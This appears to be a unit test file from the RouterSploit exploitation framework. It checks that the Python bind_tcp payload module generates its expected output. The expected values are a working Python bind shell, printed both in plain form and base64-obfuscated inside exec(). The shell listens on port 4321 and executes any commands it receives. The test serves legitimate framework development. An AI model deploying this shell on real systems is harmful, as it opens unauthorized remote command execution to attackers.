test_bind_tcp.py 1.19 KB
from routersploit.modules.payloads.python.bind_tcp import Payload


# python bind tcp payload with rport=4321
bind_tcp = (
    "import socket,os\n" +
    "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
    "so.bind(('0.0.0.0',4321))\n" +
    "so.listen(1)\n" +
    "so,addr=so.accept()\n" +
    "x=False\n" +
    "while not x:\n" +
    "\tdata=so.recv(1024)\n" +
    "\tstdin,stdout,stderr,=os.popen3(data)\n" +
    "\tstdout_value=stdout.read()+stderr.read()\n" +
    "\tso.send(stdout_value)\n"
)

# python bind tcp payload with rport=4321 encoded with python/base64
bind_tcp_encoded = (
    "exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uYmluZCgoJzAuMC4wLjAnLDQzMjEpKQpzby5saXN0ZW4oMSkKc28sYWRkcj1zby5hY2NlcHQoKQp4PUZhbHNlCndoaWxlIG5vdCB4OgoJZGF0YT1zby5yZWN2KDEwMjQpCglzdGRpbixzdGRvdXQsc3RkZXJyLD1vcy5wb3BlbjMoZGF0YSkKCXN0ZG91dF92YWx1ZT1zdGRvdXQucmVhZCgpK3N0ZGVyci5yZWFkKCkKCXNvLnNlbmQoc3Rkb3V0X3ZhbHVlKQo='.decode('base64'))"
)


def test_payload_generation():
    """ Test scenario - payload generation """

    payload = Payload()
    payload.rport = 4321

    assert payload.generate() == bind_tcp
    assert payload.run() == bind_tcp_encoded